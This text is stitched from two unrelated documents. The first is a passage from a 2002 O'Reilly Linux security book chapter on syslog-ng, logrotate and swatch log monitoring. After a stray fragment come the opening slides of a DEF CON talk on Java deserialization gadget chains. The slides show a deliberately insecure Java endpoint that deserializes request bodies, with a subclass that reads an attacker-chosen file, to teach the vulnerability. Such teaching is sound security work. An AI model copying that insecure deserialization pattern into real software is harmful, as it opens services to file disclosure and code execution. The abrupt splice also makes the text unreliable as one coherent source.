In some cases, keeping a script open (actually a bash process) is a
waste of resources and even a security risk (if you run syslog-ng as
root). Furthermore, the particular use of email in Examples 10-19 and
10-20 introduces the possibility of Denial of Service attacks (e.g., fill-
ing up the system administrator’s mailbox). But under the right cir-
cumstances, such as on a non-Internet-accessible host that has a few
CPU cycles to spare, this is a legitimate use of Syslog-ng.
The script itself, /usr/local/sbin/mailtomick.sh, simply reads lines from the standard
input and emails each line to [email protected]. Since syslog-ng needs to
keep this script open, the read command is contained in an endless loop. This script
will run until the syslog-ng process that invoked it is restarted or killed.
In the interest of focusing on the most typical uses of Syslog-ng, I’ve listed some syslog-
ng.conf options without giving examples of their usage and omitted a couple of other
options altogether. Suffice it to say that the global/file option log_fifo_size() and the
global options time_reap(), time_reopen(), gc_idle_threshold(), and gc_busy_threshold()
are useful for tuning syslog-ng’s performance to fit your particular environment.
The official (maintained) documentation for Syslog-ng is the Syslog-ng
Reference Manual. PostScript, SGML, HTML, and ASCII text versions
of this document are included in the /doc directory of Syslog-ng’s
source-code distribution.
For advanced or otherwise unaddressed issues, the best source of Sys-
log-ng information is the Syslog-ng mailing list and its archives. See
http://lists.balabit.hu/mailman/listinfo/syslog-ng for subscription infor-
mation and archives.
while read line;
do
echo $line | mail -s "Weirdness on that Linux box" [email protected]
done
* If you’re completely new to regular expressions, I highly recommend Mastering Regular Expressions by Jef-
frey E. F. Friedl (O’Reilly).
Example 10-21. Script for emailing log messages (continued)
This is the Title of the Book, eMatter Edition
Copyright © 2002 O’Reilly & Associates, Inc. All rights reserved.
348
|
Chapter 10: System Log Management and Monitoring
Testing System Logging with logger
Before we leave the topic of system-logger configuration and use, we should cover a
tool that can be used to test your new configurations, regardless of whether you use
syslog or Syslog-ng: logger. logger is a command-line application that sends mes-
sages to the system logger. In addition to being a good diagnostic tool, logger is espe-
cially useful for adding logging functionality to shell scripts.
The usage we’re interested in here, of course, is diagnostics. It’s easiest to explain
how to use logger with an example.
Suppose you’ve just reconfigured syslog to send all daemon messages with priority
“warn” to /var/log/warnings. To test the new syslog.conf file, you’d first restart
syslogd and klogd and then you’d enter a command like the one in Example 10-22.
As you can see, logger’s syntax is simple. The -p parameter allows you to specify a
facility.priority selector. Everything after this selector (and any other parameters or
flags) is taken to be the message.
Because I’m a fast typist, I often use while…do…done statements in interactive bash
sessions to run impromptu scripts (actually, just complex command lines).
Example 10-23’s sequence of commands works interactively or as a script.
This sends tests messages to the daemon facility for each of all eight priorities.
Example 10-24, presented in the form of an actual script, generates messages for all
facilities at each priority level.
Example 10-22. Sending a test message with logger
mylinuxbox:~# logger -p daemon.warn "This is only a test."
Example 10-23. Generating test messages from a bash prompt
mylinuxbox:~# for i in {debug,info,notice,warning,err,crit,alert,emerg}
> do
> logger -p daemon.$i "Test daemon message, level $I"
> done
Example 10-24. Generating even more test messages with a bash script
#!/bin/bash
for i in {auth,auth-priv,cron,daemon,kern,lpr,mail,mark,news,syslog,user,uucp,local0,
local1,local2,local3,local4,local5,local6,local7} # (this is all one line!)
do
for k in {debug,info,notice,warning,err,crit,alert,emerg}
do
logger -p $i.$k "Test daemon message, facility $i priority $k"
done
done
This is the Title of the Book, eMatter Edition
Copyright © 2002 O’Reilly & Associates, Inc. All rights reserved.
Managing System-Log Files
|
349
Logger works with both syslog and Syslog-ng.
Managing System-Log Files
Configuring and fine-tuning your system-logging facilities is extremely important for
system security and general diagnostics. But if your logs grow too large and fill up
their filesystem, all that work may come to naught.
As with syslog itself, most Linux distributions come with a preconfigured log-rota-
tion scheme. As with syslog, while this scheme tends to work adequately for many
users, it’s too important a mechanism to take for granted: it behooves you to under-
stand, periodically evaluate, and, if necessary, customize your log-management
setup.
Log Management in Red Hat 7 and Debian 2.2:
/sbin/logrotate
Both Red Hat 7 and Debian 2.2 use a binary program called logrotate to handle sys-
tem-log growth. In fact, they use very similar implementations of logrotate: global
options and low-level (system) log files are addressed in /etc/logrotate.conf, and appli-
cation-specific configuration scripts are kept in /etc/logrotate.d/.
When logrotate is run, all scripts in /etc/logrotate.d are included into logrotate.conf
and parsed as one big script. This makes logrotate’s configuration very modular:
when you install an RPM or DEB package (of software that creates logs), your pack-
age manager automatically installs a script in /etc/logrotate.d, which will be removed
later if you uninstall the package.
Actually, the include directive in logrotate.conf may be used to specify
additional or different directories and files to include. In no event, how-
ever, should you remove the statement that includes /etc/logrotate.d if
you use Red Hat or Debian, both of whose package managers depend
on this directory for package-specific log-rotation scripts.
Syntax of logrotate.conf and its included scripts
There are really only two types of elements in logrotate.conf and its included scripts:
directives (i.e., options) and log-file specifications. A directive is simply a parameter
or a variable declaration; a log-file specification is a group of directives that apply to
a specific log file or group of log files.
In Example 10-25, we see a simple /etc/logrotate.conf file.
This is the Title of the Book, eMatter Edition
Copyright © 2002 O’Reilly & Associates, Inc. All rights reserved.
350
|
Chapter 10: System Log Management and Monitoring
In Example 10-25, the global options at the top may be thought of as the default log-
file specification. Any directive for a specific log file takes precedence over the global
options. Accordingly, we see in this example that although by default logs are rotated
once a month and that four archives will be kept, the file /var/log/messages will be
rotated not on the basis of time, but on size.
However, the other global directives will still apply: four old copies will be kept;
immediately after a log is renamed (which is how they’re “rotated”), a newly empty
current log file will be created (“touched”); and error messages will be emailed to
root.
logrotate supports a large number of different directives, but in practice, you’ll prob-
ably spend more time tweaking the subscripts placed in logrotate.d than you will
writing scripts from scratch. With that in mind, Table 10-12 lists some commonly
encountered logrotate directives. A complete list is provided in the manpage
logrotate(8).
Example 10-25. Simple logrotate.conf file
# Very simple logrotate.conf file
# Global options: rotate logs monthly, saving four old copies and sending
# error-messages to root. After "rotating out" a file, touch a new one
monthly
rotate 4
errors root
create
# Keep an eye on /var/log/messages
/var/log/messages {
size 200k
create
postrotate
/bin/kill -HUP `cat /var/run/syslog-ng.pid 2> /dev/null` 2> /dev/null || true
endscript
}
Table 10-12. Common logrotate directives
Directive
Description
/path/to/logfile {
directive1
directive2
etc.
}
Log file specification header/footer (i.e., “apply these direc-
tives to the file /path/to/logfile”). Whitespace is ignored.
Applicable global directives are also applied to the log file,
but when a given directive is specified both globally and
locally (within a log file specification), the local setting over-
rules the global one.
rotate number
Tells logrotate toretain number oldversionsof thespec-
ified log file. Setting this to zero amounts to telling
logrotate to overwrite the old log file.
This is the Title of the Book, eMatter Edition
Copyright © 2002 O’Reilly & Associates, Inc. All rights reserved.
Managing System-Log Files
|
351
daily | weekly | monthly | size=number_bytes
Thecriterionforrotatingthespecifiedfile:eitherbecauseone
day or week or month has passed since the last rotation, or
because the file’s size has reached or exceeded number_
bytes since the last time logrotate was run.
Note that if number_bytes is a number, bytes are
assumed; if expressed as a number followed by a lowercase
“k,” Kilobytes are assumed; if expressed as a number fol-
lowed by a capital “M,” Megabytes are assumed.
mail [username|mail@address]
Email old files to the specified local user or email address
rather than deleting them.
errors [username|email@address]
Email logrotate error messages to the specified local user
or email address.
compress
Use gzip to compress old versions of log files.
copytruncate
Instead of renaming the current log file and creating a new
(empty) one, move most of its data out into an archive file.
Accommodates programs that can’t interrupt logging (i.e.,
that need to keep the log file open for writing continuously).
create [octalmode owner group]
Recreatethe(nowempty)logfileimmediatelyafterrotation.
If specified, set any or all of these properties: octalmode (file-
mode in octal notation—e.g., 0700), owner, and group
properties.
ifempty | notifempty
By default, logrotate will rotate a file even if it’s empty.
notifempty cancels this behavior; ifempty restores it (e.g.,
overriding a global notifempty setting).
include file_or_directory
When parsing logrotate.conf, include the specified file or the
files in the specified directory.
missingok | nomissingok
Bydefault,logrotatewillreturnamessageifalogfiledoesn’t
exist.nomissingokcancelsthisbehavior(i.e.,tellslogrotateto
skip that log file quietly); missingok restores the default
behavior (e.g., overriding a global nomissingok setting).
olddir dir | noolddir
Tellslogrotatetokeepoldversionsofalogfileindir,whereas
noolddir tells logrotate to keep old versions in the same direc-
tory as the current version (noolddir is the default behavior).
postrotate
line1
line2
etc.
endscript
Execute specified lines after rotating the log file. Can’t be
declared globally. Typically used to send a SIGHUP to the
application that uses the log file.
prerotate
line1
line2
etc.
endscript
Execute specified lines before rotating the log file. Can’t be
declared globally.
Table 10-12. Common logrotate directives (continued)
Directive
Description
This is the Title of the Book, eMatter Edition
Copyright © 2002 O’Reilly & Associates, Inc. All rights reserved.
352
|
Chapter 10: System Log Management and Monitoring
Running logrotate
In both Red Hat 7 and Debian 2.2, logrotate is invoked by the script /etc/cron.daily/
logrotate, which consists of a single command:
/usr/sbin/logrotate /etc/logrotate.conf
This doesn’t necessarily mean that logs are rotated daily; it means that logrotate
checks each log file daily against its configuration script and rotates or doesn’t rotate
the log file accordingly.
If you want logrotate to be run less frequently, you can move this script to /etc/cron.
weekly or even /etc/cron.monthly (though the latter is emphatically not recom-
mended unless logrotate is, for some strange reason, configured to rotate each and
every file monthly).
Log Management in SuSE 7
Log rotation in SuSE, as with so much else, is configured at a gross level in /etc/rc.
config (the configuration file for suseconfig, which is the primary backend engine of
yast). This file contains a variable called MAX_DAYS_FOR_LOG_FILES, which you
Just What Do We Mean By “Rotate?”
All log-management mechanisms involve periodically moving/renaming a log file to an
archive copy and creating a new (empty) log file. Rotation is necessary when multiple
archive copies are maintained.
In the most common log-rotation scheme, a set of static filenames is maintained. For
example, messages, messages.1, messages.2, messages.3 is a typical three-archive file-
name set—messages being the “current” log file and messages.3 being the oldest
archive.
In this scheme, rotation is achieved by coping the second-to-oldest file over the oldest
file (e.g., mv messages.2 messages.3). The third-oldest file’s name is then changed to
that of the second-oldest file’s, and so forth, until the current file is renamed and a new
(empty) “current” log file is created (e.g., mv messages messages.1; touch messages).
This is how logrotate behaves when its rotate parameter is set to a nonzero value.
In the second common mechanism, archive filenames are unique (e.g., messages,
messages.20010807, messages.20010708, etc.). In this case, rotation is a simple matter of
changing the current file’s name and then creating a new (empty) “current” log file (e.g.,
mv messages messages.20010928; touch messages). The final step is to compare the age
of the oldest log archive file to a “maximum age” setting and to delete it if it’s reached
that age.
This second scheme is used by SuSE’s aaa_base_rotate_logs script (covered later in this
chapter).
This is the Title of the Book, eMatter Edition
Copyright © 2002 O’Reilly & Associates, Inc. All rights reserved.
Using Swatch for Automated Log Monitoring
|
353
can use to set the maximum number of days system logs are kept (by default, 365).
In addition, the log-rotation tools themselves come preconfigured and preactivated.
Chances are, however, that you’ll need to tweak SuSE’s log-management setup more
granularly than MAX_DAYS_FOR_LOG_FILES, especially if you install Syslog-ng
and disable syslog. As it happens, SuSE’s log-rotation scheme is less powerful but
also much simpler than Red Hat’s and Debian’s logrotate.
SuSE uses a script called /etc/cron.daily/aaa_base_rotate_logs for day-to-day log rota-
tion. This script shouldn’t be manually edited; its behavior is controlled by the file /etc/
logfiles, which is simply a list of the files you wish to rotate along with the maximum
sizes you want them to reach, the permissions and ownerships they should have, and
the startup script (if any) that should be restarted after rotation is done.
Example 10-26 is an excerpt from the default /etc/logfiles from SuSE 7.1.
In the first noncomment line, all log files whose name begins /var/log/mgetty will be
rotated after exceeding 1,024 kilobytes, after which they’ll be rotated to new files
whose permissions are -rw-r--r-- and that are owned by user root and group root.
The third line states that the file /var/log/httpd/access_log should be rotated after
exceeding 4,096 kilobytes, should be recreated with permissions -rw-r--r--, owned
by user root and group root, and after rotation is done, the startup script /etc/init.d/
apache should be restarted.
Since the maximum age of all log files is set globally in /etc/rc.config, take care not to set
the maximum size of a frequently written-to file (such as /var/log/messages) too high. If
this happens and if the maximum age is high enough, your logs may fill their volume.
Speaking of which, I highly recommend the use of a dedicated /var partition on any
machine that acts as a server; a full /var partition is much less likely to cause disrup-
tive system behavior (e.g., crashing) than a full root partition.
Using Swatch for Automated Log Monitoring
Okay, you’ve painstakingly configured, tested, and fine-tuned your system logger to
sort system messages by type and importance and then log them both to their respec-
tive files and to a central log server. You’ve also configured a log-rotation scheme
that keeps as much old log data around as you think you’ll need.
Example 10-26. Excerpts from /etc/logfiles
# /etc/logfiles - This file tells cron.daily, which log files have to be watched
#
# File max size mode ownership service
# (reload if changed)
/var/log/mgetty.* +1024k 644 root.root
/var/log/messages +4096k 640 root.root
/var/log/httpd/access_log +4096k 644 root.root apache
/var/squid/logs/access.log +4096k 640 squid.root
This is the Title of the Book, eMatter Edition
Copyright © 2002 O’Reilly & Associates, Inc. All rights reserved.
354
|
Chapter 10: System Log Management and Monitoring
But who’s got the time to actually read all those log messages?
swatch (the “Simple WATCHer”) does. swatch, a free log-monitoring utility written
100% in Perl, monitors logs as they’re being written and takes action when it finds
something you’ve told it to look out for. Swatch does for logs what tripwire does for
system-file integrity.
Installing Swatch
There are two ways to install swatch. First, of course, is via whatever binary package
of swatch your Linux distribution of choice provides. (I use the term loosely here;
“executable package” is more precise.) The current version of Mandrake has an RPM
package of swatch, but none of the other most popular distributions (i.e., Red Hat,
SuSE, Slackware, or Debian) appear to.
This is just as well, though, since the second way to install swatch is quite interest-
ing. swatch’s source distribution, available from http://www.stanford.edu/~atkins/
swatch, includes a sophisticated script called Makefile.PL that automatically checks
for all necessary Perl modules (see “Should We Let Perl Download and Install Its
Own Modules?” later in this chapter) and uses Perl 5’s CPAN functionality to down-
load and install any modules you need; it then generates a Makefile that can be used
to build swatch.
After you’ve installed the required modules, either automatically from swatch’s
Makefile.PL script or manually (and then running perl Makefile.PL), Makefile.PL
should return the contents of Example 10-27.
Once Makefile.PL has successfully created a Makefile for swatch, you can execute the
following commands to build and install it:
make
make test
make install
make realclean
The make test command is optional but useful: it ensures that swatch can properly
use the Perl modules we just went to the trouble of installing.
Example 10-27. Successful Makefile.PL run
[root@barrelofun swatch-3.0.1]# perl Makefile.PL
Checking for Time::HiRes 1.12 ... ok
Checking for Date::Calc ... ok
Checking for Date::Format ... ok
Checking for File::Tail ... ok
Checking if your kit is complete...
Looks good
Writing Makefile for swatch
[root@barrelofun swatch-3.0.1]#
This is the Title of the Book, eMatter Edition
Copyright © 2002 O’Reilly & Associates, Inc. All rights reserved.
Using Swatch for Automated Log Monitoring
|
355
Should We Let Perl Download and Install Its Own Modules?
The Comprehensive Perl Archive Network (CPAN) is a network of Perl software
archives from around the world. Perl Version 5.6.x includes modules (CPAN and
CPAN::FirstTime, among others) that allow it to fetch, verify the checksums of, and
even use gcc to compile Perl modules from CPAN sites on the Internet. In-depth
descriptions of CPAN and Perl’s CPAN functionality are beyond this chapter’s scope,
but I have one hint and one warning to offer.
First, the hint. To install the module Example::Module (not a real Perl module), you
enter the command:
perl -MCPAN -e "install Example::Module"
If it’s the first time you’ve used the -MCPAN flag, the module CPAN::FirstTime will
be triggered and you’ll be asked to choose from various options as to how Perl should
fetch and install modules from CPAN. These are well-phrased questions with reason-
able defaults. But do pay attention to the output while this command executes: the
module you’re installing may depend on other modules and may require you to go
back and execute, e.g.:
perl -MCPAN -e "install Example::PreRequisite"
before making a second attempt at installing the first module.
Now for the warning: using CPAN is neither more nor less secure than downloading
and installing other software from any other Internet source. On the one hand, before
being installed, each downloaded module is automatically checked against a checksum
that incorporates a cryptographically strong MD5 hash. On the other hand, this hash
is intended to prevent corrupt downloads from going unnoticed, not to provide secu-
rity per se.
Furthermore, even assuming that a given package’s checksum probably won’t be
replaced along with a tampered-with module (a big assumption), all this protects
against is the unauthorized alteration of software after it’s been uploaded to CPAN by
its author. There’s nothing to stop an evil registered CPAN developer (anybody may
register as one) from uploading hostile code along with a valid checksum. But of
course, there’s nothing to stop that evil developer from posting bad stuff to Source-
Forge or FreshMeat, either.
Thus, if you really want to be thorough, the most secure way to install a given Perl
module is to:
1. Identify/locate the module on http://search.cpan.org.
2. Follow the link to CPAN’s page for the module.
3. Download the module not from CPAN, but from its developer’s official web site
(listed under “Author Information” in the web page referred to earlier in Step 2).
4. If available, also download any checksum or hash provided by the developer for
the tarball you just downloaded.
—continued—
This is the Title of the Book, eMatter Edition
Copyright © 2002 O’Reilly & Associates, Inc. All rights reserved.
356
|
Chapter 10: System Log Management and Monitoring
swatch Configuration in Brief
Since the whole point of swatch is to simplify our lives, configuring swatch itself is,
well, simple. swatch is controlled by a single file, $HOME/.swatchrc by default. This
file contains text patterns, in the form of regular expressions, that you want swatch
to watch for. Each regular expression is followed by the action(s) you wish to swatch
to take whenever it encounters that text.
For example, suppose you’ve got an Apache-based web server and you want to be
alerted any time someone attempts a buffer-overflow attack by requesting an extremely
5. Use gpg, md5, etc. to verify that the tarball matches the hash.
6. Unzip and expand the tarball, e.g., tar -xzvf groovyperlmod.tar.gz.
7. If you’re a Righteously Paranoid Kung-Fu Master or aspire to becoming one,
review the source code for sloppiness and shenanigans, report your findings to
the developer or the world at large, and bask in the open source community’s
awe and gratitude. (I’m being flippant, but open source code is truly open only
when people bother to examine it!)
Follow the module’s building and installing directions, usually contained in a file
called INSTALL and generally amounting to something like:
perl ./Makefile.PL
make
make test
make install
Note that if the modules you need are being brought to your attention by swatch’s
Makefile.PL script, then to use the paranoid installation method, you’ll want to write
down the needed module names and kill that script (via plain old CONTROL-c) before
installing the modules and rerunning swatch’s Makefile.PL.
Before I forget, there’s actually a third way to install missing Perl modules: from your
Linux distribution’s FTP site or CDROM. While none approach CPAN’s selection,
most Linux distributions have packaged versions of the most popular Perl modules.
Following are the modules you need for swatch and the packages that contain them in
Red Hat 7 and Debian 2.2:
• Perl ModuleRed Hat 7 RPMDebian “deb” package
• Date::Calcperl-Date-Calclibdate-calc-perl
• Time::HiResperl-Time-HiReslibtime-hires-perl
• Date::Formatperl-TimeDatelibtimedate-perl
• File::Tailperl-File-Taillibfile-tail-perl
None of this may seem terribly specific to swatch, and indeed it isn’t, but it is impor-
tant—more and more useful utilities are being released either as Perl modules or as Perl
scripts that depend on Perl modules, so the chances are that swatch will not be the last
Makefile.PL-based utility you install. Understanding some ramifications of all this
module madness is worth the liter of ink I just spent on it, trust me.
This is the Title of the Book, eMatter Edition
Copyright © 2002 O’Reilly & Associates, Inc. All rights reserved.
Using Swatch for Automated Log Monitoring
|
357
long filename (URL). By trying this yourself against the web server while tailing its /var/
apache/error.log, you know that Apache will log an entry that includes the string “File
name too long.” Suppose further that you want to be emailed every time this happens.
Example 10-28 shows what you’d need to have in your .swatchrc file.
As you can see, the entry begins with a watchfor statement, followed by a regular
expression. If you aren’t yet proficient in the use of regular expressions, don’t worry:
this can be as simple as a snippet of the text you want swatch to look for, spelled out
verbatim between two slashes.
Swatch will perform your choice of a number of actions when it matches your regu-
lar expression. In this example, we’ve told swatch to send email to mick\@visi.com,
with a subject of BufferOverflow_attempt. Note the backslash before the @ sign—
without it, Perl will interpret the @ sign as a special character. Note also that if you
want spaces in your subject-line, each space needs to be escaped with a backslash—
e.g., subject=Buffer\ Overflow\ attempt.
Actions besides sending email include the ones in Table 10-13.
For more details on configuring these and the other actions that swatch supports, see
the swatch(1) manpage.
If you use Syslog-ng, you may be able to use some combination of
match() filters, program() destinations, and pipe() destinations to
achieve most of what swatch does.
However, swatch’s throttle parameter is an important advantage:
whereas Syslog-ng acts on every message that matches a given filter,
throttle gives swatch the intelligence to ignore repeated occurrences of
a given event, potentially preventing minor events from becoming
major annoyances.
Example 10-28. Simple entry in .swatchrc
watchfor /File name too long/
mail addresses=mick\@visi.com,subject=BufferOverflow_attempt
Table 10-13. Some actions swatch can take
Action (keyword)
Description
echo=normal, underscore, blue,
inverse, etc.
Print matched line to console, with or without special text mode (default
mode is “normal”).
bell N
Echo the line to console, with “beep” sounded N times (default = 1).
exec command
Execute the command or script command.
pipe command
Pipe the line to the command command.
throttle HH:MM:SS
Wait for HH:MM:SS (period of time) after a line triggers a match, before per-
forming actions on another match of the same expression. Helps prevent
Denial of Service attacks via swatch (e.g., deliberately triggering huge num-
bers of swatch events in a short period).
This is the Title of the Book, eMatter Edition
Copyright © 2002 O’Reilly & Associates, Inc. All rights reserved.
358
|
Chapter 10: System Log Management and Monitoring
Let’s take that example a step further. Suppose in addition to being emailed about
buffer-overflow attempts, you want to know whenever someone hits a certain web
page, but only if you’re logged on to a console at the time. In the same .swatchrc file,
you’d add something like Example 10-29.
You will only see these messages and hear these beeps if you are
logged on to the console in the same shell session from which you
launched swatch. If you log out to go get a sandwich, when you return
and log back in, you will no longer see messages generated by the
swatch processes launched in your old session, even though those pro-
cesses will still be running.
When in doubt, add either a “mail” action or some other non console-specific action
(e.g., an “exec” action that triggers a script that pages you, etc.), unless, that is, the
pattern in question isn’t critical.
Alert readers have no doubt noticed that the scenario in the previous example will
work only for Apache installations in which both errors and access messages are logged
to the same file. We haven’t associated different expressions with different watched
files, nor can we. But what if you want swatch to watch more than one log file?
This is no problem. Although each .swatchrc file may describe only one watched file,
there’s nothing to stop you from running multiple instances of swatch, each with its
own .swatchrc file. In other words, .swatchrc is the default, but not the required
name for swatch configurations.
To split our two examples into two files, you’d put the lines in Example 10-27 into a
file called, for example, .swatchrc.hterror and the lines in Example 10-28 into a file
called .swatchrc.htaccess.
Advanced swatch Configuration
So far we’ve only considered actions we want triggered every time a given pattern is
matched. There are several ways we can control swatch’s behavior with greater gran-
ularity, however.
The first and most obvious is that search patterns take the form of regular expres-
sions. Regular expressions, which really constitute a text-formatting language of their
own, are incredibly powerful and responsible for a good deal of the magic of Perl,
sed, vi, and many other Unix utilities.
Example 10-29. An event that beeps and prints to console
watchfor /wuzza.html/
echo=red
bell 2
This is the Title of the Book, eMatter Edition
Copyright © 2002 O’Reilly & Associates, Inc. All rights reserved.
Using Swatch for Automated Log Monitoring
|
359
It behooves you to know at least a couple “regex” tricks. Trick number one is called
alternation, and it adds a “logical or” to your regular expression in the form of a “|”
sign. Consider this regular expression:
/reject|failed/
This expression will match any line containing either the word “reject” or the word
“failed.” Use alternation when you want swatch to take the same action for more
than one pattern.
Trick number two is the Perl-specific regular-expression modifier “case-insensitive,”
also known as “slash-i” since it always follows a regular expression’s trailing slash.
The regular expression:
/reject/i
matches any line containing the word “reject” whether it’s spelled “Reject,”
“REJECT,” “rEjEcT,” etc. Granted, this isn’t nearly as useful as alternation, and in
the interest of full disclosure, I’m compelled to mention that slash-i is one of the
more CPU-intensive Perl modifiers. However, if despite your best efforts at log tail-
ing, self attacking, etc., you aren’t 100% sure how a worrisome attack might look in
a log file, slash-i helps you make a reasonable guess.
Another way to control swatch more precisely is to specify what time of day a given
action may be performed. You can do this by sticking a when= option after any
action. For example, in Example 10-30, I have a .swatchrc entry for a medium-impor-
tance event, which I want to know about via console messages during weekdays, but
which I’ll need email messages to know about during the weekend.
The syntax of the when= option is when=range_of_days:range_of_hours. Thus, in
Example 10-30, we see that any time the message “file system full” is logged, swatch
will echo the log entry to the console in red ink. It will also send email, but only if it’s
Saturday (“7”) or Sunday (“1”).
Running swatch
Swatch expects .swatchrc to live in the home directory of the user who invokes
swatch. Swatch also keeps its temporary files there by default. (Each time it’s
invoked, it creates and runs a script called a “watcher process,” whose name ends
with a dot followed by the PID of the swatch process that created it).
The -c path/to/configfile and --script-dir=/path/to/scripts flags let you specify
alternate locations for swatch’s configuration and script files, respectively. Never
Example 10-30. Actions with when option specified
/file system full/
echo=red
mail addresses=mick\@visi.com,subject=Volume_Full,when=7-1:1-24
This is the Title of the Book, eMatter Edition
Copyright © 2002 O’Reilly & Associates, Inc. All rights reserved.
360
|
Chapter 10: System Log Management and Monitoring
keep either in a world-writable directory, however. In fact, only these files’ owners
should be able to read them.
For example, to invoke swatch so that it reads my custom configuration file in /var/
log and also uses that directory for its watcher process script, I’d use the command
listed in Example 10-31.
I also need to tell swatch which file to tail, and for that I need the -t filename flag. If I
wanted to use the previous command to have swatch monitor /var/log/apache/access_
log, it would look like this:
mylinuxbox:~# swatch -c /var/log/.swatchrc.access --script-dir=/var/log
\ -t /var/log/apache/access_log &
swatch generally doesn’t clean up after itself very well; it tends to leave
watcher-process scripts behind. Keep an eye out and periodically
delete these in your home directory or in the script directories you
tend to specify with --script-dir.
Again, if you want swatch to monitor multiple files, you’ll need to run swatch multi-
ple times, with at least a different tailing target (-t value) specified each time and
probably a different configuration file for each as well.
Fine-Tuning swatch
Once swatch is configured and running, we must turn our attention to the Gold-
ilocks Goal: we want swatch to be running neither “too hot” (alerting us about rou-
tine or trivial events) nor “too cold” (never alerting us about anything). But what
constitutes “just right?” There are as many answers to this question as there are uses
for Unix.
Anyhow, you don’t need me to tell you what constitutes nuisance-level reporting: if
it happens, you’ll know it. You may even experience a scare or two in responding to
events that set off alarms appropriately but turn out to be harmless nonetheless.
Read the manual, tweak .swatchrc, and stay the course.
The other scenario, in which too little is watched for, is much harder to address, espe-
cially for the beginning system administrator. By definition, anomalous events don’t
happen very frequently, so how do you anticipate how they’ll manifest themselves in
the logs? My first bit of advice is to get in the habit of browsing your system logs often
enough to get a feel for what the routine operation of your systems looks like.
Better still, “tail” the logs in real time. If you enter the command tail -f /var/log/
messages, the last 50 lines of the system log will be printed, plus all subsequent lines,
Example 10-31. Specifying nondefault paths
mylinuxbox:~# swatch -c /var/log/.swatchrc.access --script-dir=/var/log &
This is the Title of the Book, eMatter Edition
Copyright © 2002 O’Reilly & Associates, Inc. All rights reserved.
Resources
|
361
as they’re generated, until you kill tail with a Control-c. This works for any file, even a
log file that changes very rapidly.
Another good thing you can do is to “beat up on” (probe/attack) your system in one
virtual console or xterm while tailing various log files in another. nmap and Nessus,
which are covered in Chapter 3 (Hardening Linux), are perfect for this.
By now you may be saying, “Hey, I thought the whole reason I installed swatch was
so I wouldn’t have to watch log files manually!” Wrong. Swatch minimizes, but does
not eliminate, the need for us to parse log files.
Were you able to quit using your arithmetic skills after you got your first pocket cal-
culator? No. For that matter, can you use a calculator in the first place unless you
already know how to add, multiply, etc.? Definitely not. The same goes for log file
parsing: you can’t tell swatch to look for things you can’t identify yourself, no more
than you can ask for directions to a town whose name you’ve forgotten.
Why You Shouldn’t Configure swatch Once
and Forget About It
In the same vein, I urge you to not be complacent about swatch silence. If swatch’s
actions don’t fire very often, it could be that your system isn’t getting probed or mis-
used very much, but it’s at least as likely that swatch isn’t casting its net wide
enough. Continue to periodically scan through your logs manually to see if you’re
missing anything, and continue to tweak .swatchrc.
Don’t forget to periodically reconsider the auditing/logging configurations of the
daemons that generate log messages in the first place. Swatch won’t catch events that
aren’t logged at all. Refer to the syslogd(8) manpage for general instructions on man-
aging your syslogd daemon, and the manpages of the various things that log to sys-
log for specific instructions on changing the way they log events.
Resources
http://www.stanford.edu/~atkins/swatch. swatch home page. (Has links to the latest
version, online manpages, etc.)
http://www.stanford.edu/~atkins/swatch/lisa93.html.
Hansen,
Stephen
and
Todd
Atkins, creators of swatch. “Centralized System Monitoring with Swatch.” (Old,
but still useful.)
http://www.enteract.com/~lspitz/swatch.html. Spitzner, Lance. “Watching Your Logs.”
(A brief introduction to swatch.)
Friedl, Jeffrey E. F. Mastering Regular Expressions. Sebastopol, CA: O’Reilly & Asso-
ciates, Inc. 1998. | pdf |
Automated Discovery of
Deserialization Gadget
Chains
Ian Haken
DEF CON 26, 2018
Automated Discovery of Deserialization Gadget Chains
Ian Haken
$ whoami
Senior Security Software Engineer on Netflix’s Platform Security team.
Netflix is a microservice ecosystem and we build security services and
libraries to keep those applications safe:
● Secrets at Scale
● Crypto as a service
● Netflix-wide Authorization
@ianhaken
https://github.com/JackOfMostTrades
Automated Discovery of Deserialization Gadget Chains
Ian Haken
Deserialization Gadget Chains
● What is a deserialization vulnerability?
● A brief history of deserialization vulnerabilities
● What is a deserialization gadget chain?
● Why focus on gadget chains?
● Building a tool to find gadget chains
● Exploits discovered
Automated Discovery of Deserialization Gadget Chains
Ian Haken
W hat is a Deserialization Vulnerability?
Automated Discovery of Deserialization Gadget Chains
Ian Haken
In object oriented languages (like Java), data is contained in classes and classes
contain code.
W hat is a Deserialization Vulnerability?
Automated Discovery of Deserialization Gadget Chains
Ian Haken
In object oriented languages (like Java), data is contained in classes and classes
contain code.
Controlling Data Types => Controlling Code!
W hat is a Deserialization Vulnerability?
Automated Discovery of Deserialization Gadget Chains
Ian Haken
In object oriented languages (like Java), data is contained in classes and classes
contain code.
Controlling Data Types => Controlling Code!
W hat is a Deserialization Vulnerability?
@POST
public String renderUser(
HttpServletRequest request) {
ObjectInputStream ois =
new ObjectInputStream(
request.getInputStream());
User user = (User) ois.readObject();
return user.render();
}
Automated Discovery of Deserialization Gadget Chains
Ian Haken
In object oriented languages (like Java), data is contained in classes and classes
contain code.
Controlling Data Types => Controlling Code!
W hat is a Deserialization Vulnerability?
@POST
public String renderUser(
HttpServletRequest request) {
ObjectInputStream ois =
new ObjectInputStream(
request.getInputStream());
User user = (User) ois.readObject();
return user.render();
}
public class User {
private String name;
public String render() {
return name;
}
}
Automated Discovery of Deserialization Gadget Chains
Ian Haken
In object oriented languages (like Java), data is contained in classes and classes
contain code.
Controlling Data Types => Controlling Code!
W hat is a Deserialization Vulnerability?
@POST
public String renderUser(
HttpServletRequest request) {
ObjectInputStream ois =
new ObjectInputStream(
request.getInputStream());
User user = (User) ois.readObject();
return user.render();
}
public class User {
private String name;
public String render() {
return name;
}
}
public class ThumbnailUser
extends User {
private File thumbnail;
public String render() {
return Files.read(thumbnail);
}
}
Automated Discovery of Deserialization Gadget Chains
Ian Haken
Deserialization? That’s so 2016...
1 http://www.blackhat.com/presentations/bh-federal-06/BH-Fed-06-Schoenefeld-up.pdf
2 https://frohoff.github.io/appseccali-marshalling-pickles/
3 https://www.slideshare.net/ikkisoft/defending-against-java-deserialization-vulnerabilities
4 https://www.blackhat.com.docs.us-17.thursday.us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
5 https://appsecus2018.sched.com/event/F04J
Automated Discovery of Deserialization Gadget Chains
Ian Haken
● 2006: Pentesting J2EE, Black Hat 2006, Marc Schönefeld1
Deserialization? That’s so 2016...
1 http://www.blackhat.com/presentations/bh-federal-06/BH-Fed-06-Schoenefeld-up.pdf
2 https://frohoff.github.io/appseccali-marshalling-pickles/
